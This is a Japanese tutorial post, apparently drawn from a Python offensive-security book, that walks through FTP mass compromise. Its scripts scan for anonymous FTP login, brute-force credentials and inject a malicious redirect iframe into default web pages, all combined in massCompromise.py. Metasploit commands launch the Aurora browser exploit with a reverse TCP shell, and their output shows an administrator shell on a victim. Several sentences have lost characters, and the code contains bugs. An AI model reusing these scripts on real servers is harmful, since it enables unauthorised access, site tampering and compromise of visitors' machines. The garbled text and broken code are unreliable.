FTP暴力解読及び悪意あるシナリオ注入
44133 ワード
FTP接続WEBにより浸透
感染したサーバーのFTPログを確認します.
自動スクリプトがターゲットホストに接続され、indexという名前が含まれているかどうかを確認します.htmlのデフォルトのホームページ.次に攻撃者は新しいindexをアップロードした.htmページには、悪意のあるリダイレクトスクリプトが含まれている可能性があります.感染したサーバは、ページにアクセスする脆弱なクライアントを利用して浸透しています.
このブール値を確認するために、この関数は匿名認証でFTP接続を生成しようと試み、成功すれば
pythonで匿名のFTPスキャナーを構築
ftplib暴力を利用してFTPユーザー認証を解読する
これで、前に確立した
FTPサーバーでwebページを探す
FTPアクセス権があり、サービスがwebアクセスを提供しているかどうかをテストします.これをテストするには、まずFTPのサービスディレクトリをリストし、デフォルトのwebページを探します.
関数
悪意のある注入スクリプトをWebページに追加
Webページファイルが見つかりました.悪意のあるリダイレクトで感染する必要があります.悪意のあるサーバとページを迅速に生成するにはhttp://10.10.10.112:8080/exploitページでは、Metasploitフレームワークが使用されます.
脆弱なクライアントがサービスページに接続されている場合http://10.10.10.112:8080/exploit私たちの罠に落ちるだろう.成功すると、逆TCP Shellが作成され、クライアント上でWindowsコマンドをリモートで実行できます.このコマンドラインShellから、感染した被害者ホスト上で管理者権限でコマンドを実行できます.
次に、感染したホストから悪意のあるサーバにリダイレクトする必要があります.そのため、陥没したサーバからデフォルトのwebページをダウンロードし、iframeを注入し、悪意のあるページをサーバにアップロードすることができます.
このinjectPage()関数を見てください.FTP接続、ページ名、リダイレクトiframeの文字列を入力として受け入れ、一時コピーとしてページをダウンロードします.次に、リダイレクトiframeコードを一時ファイルに追加します.最後に、この関数は感染したページをサーバにアップロードします.
すべての をattack() に します.
attack() は、ホスト 、ユーザー 、パスワード、 めアドレスを として します.
まずユーザ を してFTPサーバにログインする
にデフォルトのページを して、 ページをダウンロードし、 のあるリダイレクトコードを します.
その 、 したページをFTPサーバーにアップロードします.
が していることを し、クライアントが したWEBサーバに されるのを って、10.10.10.107がサーバにアクセスして のあるサーバにリダイレクトし、 したFTPサーバを じて ホストのコマンドラインShellを ることができます.
感染したサーバーのFTPログを確認します.
自動スクリプトがターゲットホストに接続され、indexという名前が含まれているかどうかを確認します.htmlのデフォルトのホームページ.次に攻撃者は新しいindexをアップロードした.htmページには、悪意のあるリダイレクトスクリプトが含まれている可能性があります.感染したサーバは、ページにアクセスする脆弱なクライアントを利用して浸透しています.
Python ftplib
を使用して、サーバが匿名ログインを許可しているかどうかを確認するための小さなスクリプトを構築できます.関数anonLogin()
は、ホスト名がブール値を逆アセンブリすることを受け入れ、ホストが匿名ログインを許可するかどうかを確認する.このブール値を確認するために、この関数は匿名認証でFTP接続を生成しようと試み、成功すれば
“True”
、異常が発生すれば“False”
を返す.pythonで匿名のFTPスキャナーを構築
# coding = UTF-8
import ftplib
def anonLogin(hostname):
try:
ftp=ftplib.FTP(hostname)
ftp.login('anonymous','[email protected]')
print('
[*]'+str(hostname)+'FTP Anonymous Login Succeeded!')
ftp.quit()
return True
except Exception as e:
print('
[-]'+str(hostname)+'FTP Anonymous Login Failed!')
return False
host='192.168.95.179'
anonLogin(host)
ftplib暴力を利用してFTPユーザー認証を解読する
これで、前に確立した
anonLogin()
関数を拡張して、brutelogin()
という関数を確立することができます.この関数は、ホスト名とパスワードファイルを入力として受け入れ、ホストへのアクセスを許可する証明書を返します.なお、関数はファイルの各行を反復し、ユーザー名とパスワードをコロンで分割し、この関数はユーザー名とパスワードでFTPサーバにログインしようとします.成功すると、ユーザー名とパスワードのメタグループが返され、失敗した場合は次の行のテストが続行されます.すべてのユーザー名とパスワードを巡回しても成功しなかった場合は、Noneを含むメタグループを返します.# coding = UTF-8
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('
')
print('[+]Trying:' + userName + '/' + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('
[*]' + str(hostname) + 'FTP login Succeeded:' + userName + '/' + passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('
[-] Could not brute force FTP credentials.')
return (None, None)
host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)
FTPサーバーでwebページを探す
FTPアクセス権があり、サービスがwebアクセスを提供しているかどうかをテストします.これをテストするには、まずFTPのサービスディレクトリをリストし、デフォルトのwebページを探します.
関数
returnDefault()
は、入力としてFTP接続を受け取り、見つかったデフォルトページの配列を返し、ディレクトリNLSTを送信することによってディレクトリの内容をリストする.この関数は、各ファイルがデフォルトのウェブページファイル名を返し、retListというリストに発見されたデフォルトのウェブページファイル名を追加することをチェックします.これらのファイルの反復が完了すると、関数はこのリストに戻ります.def returnDefault(ftp):
try:
#
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page:' + fileName)
retList.append(fileName)
return retList
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
returnDefault(ftp)
悪意のある注入スクリプトをWebページに追加
Webページファイルが見つかりました.悪意のあるリダイレクトで感染する必要があります.悪意のあるサーバとページを迅速に生成するにはhttp://10.10.10.112:8080/exploitページでは、Metasploitフレームワークが使用されます.
ms10_002_aurora Exploit
を選択し、同じExploitがGoogleのオーロラアクションを攻撃するために使用されます.とhttp://10.10.10.112:8080/exploitのページは被害者にリダイレクトされ、リバウンドしたシェルに戻ります.attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112 LPORT=443
[*] Please wait while we load the module tree...
<...SNIPPED...>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => /exploit
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
脆弱なクライアントがサービスページに接続されている場合http://10.10.10.112:8080/exploit私たちの罠に落ちるだろう.成功すると、逆TCP Shellが作成され、クライアント上でWindowsコマンドをリモートで実行できます.このコマンドラインShellから、感染した被害者ホスト上で管理者権限でコマンドを実行できます.
msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer
"Aurora"
Memory Corruption to client 10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
10.10.10.107:49181) at 2012-06-24 10:05:10 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>
次に、感染したホストから悪意のあるサーバにリダイレクトする必要があります.そのため、陥没したサーバからデフォルトのwebページをダウンロードし、iframeを注入し、悪意のあるページをサーバにアップロードすることができます.
このinjectPage()関数を見てください.FTP接続、ページ名、リダイレクトiframeの文字列を入力として受け入れ、一時コピーとしてページをダウンロードします.次に、リダイレクトiframeコードを一時ファイルに追加します.最後に、この関数は感染したページをサーバにアップロードします.
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR' + page, f.write)
print '[+]Downloaded Page:' + page
f.write(redirect)
f.close()
print '[+]Injected Malicious IFrame on:' + page
ftp.storlines('STOR' + page, open(page + '.tmp'))
print '[+] Uploaded Injected Page:' + page
host = '192.168.95.179'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '
injectPage(ftp, 'index.html', redirect)
すべての をattack() に します.
attack() は、ホスト 、ユーザー 、パスワード、 めアドレスを として します.
まずユーザ を してFTPサーバにログインする
にデフォルトのページを して、 ページをダウンロードし、 のあるリダイレクトコードを します.
その 、 したページをFTPサーバーにアップロードします.
# coding = UTF-8
# massCompromise.py
import ftplib
import optparse
import time
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'me@your.com')
print('
[*]' + str(hostname) + 'FTP Anonymous Login Succeeded.')
ftp.quit()
return True
except Exception as e:
print('
[-]' + str(hostname) + 'FTP Anonymous Login Failed')
return False
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('
')
print('[+]Trying:' + userName + '/' + passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('
[*]' + str(hostname) + 'FTP login Succeeded:' + userName + '/' + passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('
[-] Could not brute force FTP credentials.')
return (None, None)
def returnDefault(ftp):
try:
#
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for fileName in dirList:
fn = fileName.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print('[+] Found default page:' + fileName)
retList.append(fileName)
return retList
def injectPage(ftp, page, redirect):
f = open(page + '.tmp', 'w')
ftp.retrlines('RETR' + page, f.write)
print('[+]Downloaded Page:' + page)
f.write(redirect)
f.close()
print('[+]Injected Malicious IFrame on:' + page)
ftp.storlines('STOR' + page, open(page + '.tmp'))
print('[+] Uploaded Injected Page:' + page)
def attack(username, password, tgtHost, redirect)
ftp = ftplib.FTP(tgtHost)
ftp.login(username, password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp, defPage, redirect)
def main():
parser = optparse.OptionParser('usage%prog -H < target host[s] > -r < redirect page > [-f < userpass file >]')
parser.add_option('-H', dest='tgtHosts', type='string', help='specify target host')
parser.add_option('-f', dest='passwdFile', type='string', help='specify user/password file')
parser.add_option('-r', dest='redirect', type='string', help='specify a redirection page')
(options, args) = parser.parse_args()
tgtHosts = str(options.tgtHosts).split(',')
passwdFile = options.passwdFile
redirect = options.redirect
if tgtHosts == None or redirect == None:
print parser.usage
exit(0)
for tgtHost in tgtHosts:
username = None
password = None
if anonLogin(tgtHost) == True:
username = 'anonymous'
password = 'me@your.com'
print('[+]Using Anonymous Creds to attack')
attack(username, password, tgtHost.redirect)
elif passwdFile != None:
(username, password) = bruteLogin(tgtHost, passwdFile)
if password != None:
print('[+] Using Creds:' + username + '/' + password + 'to attack')
attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
main()
// FTP , , ,
attcker#python massCompromise.py -H 192.168.95.179 -r '' -f userpass.txt
[-] 192.168.95.179 FTP Anonymous Logon Failed.
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
[+] Found default page: index.html
[+] Found default page: index.php
[+] Downloaded Page: index.html
[+] Injected Malicious IFrame on: index.html
[+] Uploaded Injected Page: index.html
[+] Downloaded Page: index.php
[+] Injected Malicious IFrame on: index.php
[+] Uploaded Injected Page: index.php
[+] Injected Malicious IFrame on: testmysql.php
が していることを し、クライアントが したWEBサーバに されるのを って、10.10.10.107がサーバにアクセスして のあるサーバにリダイレクトし、 したFTPサーバを じて ホストのコマンドラインShellを ることができます.
attacker# msfcli exploit/windows/browser/ms10_002_aurora
LHOST=10.10.10.112 SRVHOST=10.10.10.112 URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=10.10.10.112
LPORT=443 E
[*] Please wait while we load the module tree...
<...SNIPPED...>
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.112:443
[*] Using URL:http://10.10.10.112:8080/exploit
[*] Server started.
msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client
10.10.10.107
[*] Sending stage (240 bytes) to 10.10.10.107
[*] Command shell session 1 opened (10.10.10.112:443 ->
10.10.10.107:65507) at 2012-06-24 10:02:00 -0600
msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>